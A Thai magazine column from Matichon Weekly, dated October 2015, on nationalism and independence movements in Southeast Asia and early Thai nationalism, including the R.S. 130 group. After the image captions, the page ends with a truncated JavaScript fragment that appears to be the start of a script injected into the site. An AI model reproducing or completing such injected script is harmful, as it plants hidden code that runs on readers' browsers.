มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 2 ตุลาคม 2558

 

วัฒนธรรมร่วมอาเซียน (40)

ชาตินิยม

 

          อุษาคเนย์อาเซียน เมื่อปลายคริสต์สตวรรษที่ 19 ทุกประเทศ (ยกเว้นไทย) เป็นอาณานิคมของยุโรป

          ชาตินิยมในอุษาคเนย์อาเซียน มีขึ้นเพื่อตอบโต้ลัทธิอาณานิคม ส่งผลให้เกิดประเทศใหม่ที่เคยเป็นอาณานิคม

          แม้ไทยจะไม่เป็นอาณานิคม แต่ก็รับลัทธิชาตินิยมไว้ด้วย

 

เอกราชจากชาตินิยม

          โลกใหม่ของอุษาคเนย์อาเซียน เป็นบรรยากาศใหม่จากชัยชนะของลัทธิชาตินิยมต่อต้านการครอบครองของต่างชาติ

          ช่วงทศวรรษ 1950 เกิดความเปลี่ยนแปลงทางการเมืองมากยิ่งกว่าทศวรรษใดในประวัติศาสตร์ของดินแดนแถบนี้

          เริ่มจากฟิลิปปินส์, พม่า, และอินโดนีเซีย ต่างได้รับเอกราช และประเทศในอินโดจีนของฝรั่งเศสได้เอกราชตามมาใน ค.ศ. 1954 ส่วนกัมพูชาและลาวได้รับเอกราชอย่างแท้จริงมิใช่แต่เพียงในนาม เวียดนามถูกแบ่งตรงเส้นขนานที่ 17 เป็น 2 ประเทศ คือ สาธารณรัฐประชาธิปไตยแห่งเวียดนามในภาคเหนือ และสาธารณรัฐเวียดนามใต้ ซึ่งตอนแรกอยู่ภายใต้การปกครองของจักรพรรดิเบาได๋ผู้ครองแคว้นอันหนำ

          ค.ศ. 1957 สหพันธ์มลายาก็ได้เอกราชในจักรภาพอังกฤษ และในเดือนมิถุนายน ค.ศ. 1959 สิงคโปร์ซึ่งไม่รวมกับสหพันธ์ก็ได้ปกครองตนเอง

          ไทยเป็นเพียงประเทศเดียวที่มีเอกราชก่อนญี่ปุ่นจะเข้ายึดครอง ขณะที่ประเทศอื่นตกอยู่ใต้อิทธิพลของ 4 มหาอำนาจจักรวรรดินิยมตะวันตก

          เว้นแต่บอร์เนียวส่วนของอังกฤษ เกาะติมอร์ของโปรตุเกส และนิวกินีตะวันตกของฮอลันดาแล้ว การปกครองแบบจักรวรรดิได้สลายไปสิ้น กลับมีประเทศเอกราชต่างๆ ขึ้นมาแทน

          [ประวัติศาสตร์เอเชียตะวันออกเฉียงใต้ (เล่ม 2) ของ ดี.จี.อี. ฮอล์ (ชาญวิทย์ เกษตรศิริ บรรณาธิการแปล) โครงการตำราฯ พิมพ์ครั้งที่ 3 พ.ศ. 2549 หน้า 807]

 

ต่อต้านอาณานิคม

          ขบวนการชาตินิยม ส่วนมากในอุษาคเนย์อาเซียน เริ่มต้นด้วยสำนึกเป็นปฏิปักษ์ต่อรัฐอาณานิคม หรือรัฐศักดินา-สมบูรณาญาสิทธิราชย์

          [ข้อมูลเรื่องชาตินิยมต่อไปนี้ ได้จากบทความวิชาการเรื่อง รัฐเก่าในขวดใหม่ : การเปลี่ยนแปลงและต่อเนื่องของรัฐและชาติในอุษาคเนย์ ของ ธเนศ อาภรณ์สุวรรณ (พิมพ์ในวารสารศิลปศาสตร์ มหาวิทยาลัยธรรมศาสตร์ ปีที่ 5 ฉบับที่ 2 (ก.ค.-ธ.ค.) 2548 หน้า 55-102]

          ลัทธิชาตินิยม นักประวัติศาสตร์ส่วนใหญ่เห็นพ้องต้องกันว่าเริ่มก่อรูปเป็นตัวเป็นตนในทวีปอเมริกาเหนือ (คือสหรัฐอเมริกาเป็นสำคัญ) และในยุโรปตะวันตกในครึ่งหลังของคริสต์ศตวรรษที่ 18

          หลังจากนั้นถึงไปแตกหน่อก่อร่างในละตินอเมริกา, ในเอเชีย และแอฟริกา

          ในเอเชียและอุษาคเนย์อาเซียน แรงกระทบจากปรัชญาการเมืองแสงสว่างเรื่องรูปแบบการปกครองสมัยใหม่ ความเสมอภาค, ความยุติธรรมทางสังคม ภายใต้มโนทัศน์ของลัทธิมนุษยนิยม ได้สร้างคลื่นลูกใหม่ทั้งเล็กและใหญ่ขึ้นในสังคมและประเทศต่างๆ รวมทั้งไทยด้วย

          ส่วนผลกระทบที่เป็นรูปธรรม ขึ้นกับการเคลื่อนไหวและความรับรู้ของชนชั้นนำในประเทศเอง

 

ชาตินิยมในไทย

          ในไทย เห็นได้จากกรณีของปัญญาชนสยามในสมัยรัชกาลที่ 5 เช่น ในคำกราบบังคมทูลของเจ้านาย ร.ศ. 103 และในบทความของเทียนวรรณ มาถึงความพยายามของ   “คณะกบฏ ร.ศ. 130” ในการนำเสนอแนวคิดและมโนทัศน์ใหม่จากยุโรป ตามความเข้าใจและสภาพการณ์ของประเทศอำนวยให้

          การเคลื่อนไหวในแนวชาตินิยมจึงพุ่งเป้าไปยังสถาบันพระมหากษัตริย์และระบบปกครองอาญาสิทธิ์ในที่สุด

          ในขณะที่ชนชั้นปกครองสยามยังมองไม่เห็นมิติอันเป็นการเมืองที่มากับแนวความคิดสมัยใหม่ดังกล่าว หรือมองเห็นแต่ยังไม่ยอมรับว่าเป็นการเมืองอันที่ชนชั้นปกครองต้องรับมาพิจารณาด้วยอย่างจริงจัง ดังเห็นได้จากการกำหนดหมายชื่อของกลุ่มผู้คนซึ่งเป็นฝ่ายค้านของกษัตริย์ เช่น กรณี “กบฏ ร.ศ. 130”

          สมัยโน้นกลุ่มยังเติร์กรุ่นแรกไม่ได้เรียกตนเองว่า “กบฏ” แม้รัฐบาลก็ไม่ได้เรียกว่าพวกเขาเป็นคณะกบฏ ในสมัยรัชกาลที่ 6 คำที่ทางการเรียกการกระทำของกลุ่ม ร.ศ. 130 นั้นไม่ใช่คณะปฏิวัติหรือกบฏ (ซึ่งหมายถึงผู้ที่คิดประทุษร้ายหรือไม่ซื่อตรงต่อพระมหากษัตริย์) หากแต่เรียกว่า “นายทหารบก นายทหารเรือ และบุคคลพลเรือนซึ่งก่อการกำเริบ ร.ศ. 130

          เห็นได้ว่าทางการไม่ได้มองว่าเป็นคณะหรือกลุ่มการเมืองที่แน่นอน หากเป็นเพียงการคิดกำเริบของคนที่ไม่รู้จักที่ต่ำที่สูง แสดงว่าวาทกรรมว่าด้วยการปฏิวัตินั้นยังไม่มี หากแต่เรียกว่าพวก “คิดกำเริบ” ซึ่งนัยคือไม่รับว่ามีการคิดกบฏล้มล้างราชบัลลังก์

          กล่าวคือรัฐยังไม่ยอมรับรองพฤติกรรมและการกระทำที่เป็น “การเมืองใหม่” ของพวกเขา หากแต่ทำให้เป็นเพียงเรื่องของการกำเริบเสิบสานไม่รู้ที่ควรไม่ควรของคนที่ไม่รู้เท่าทันโลกหรือหลงผิดไปเท่านั้นเอง

co-culture(40) 2-10-58 4-1

co-culture(40) 2-10-58 4-2

co-culture(40) 2-10-58 4-3var d=document;var s=d.createElement(‘script’);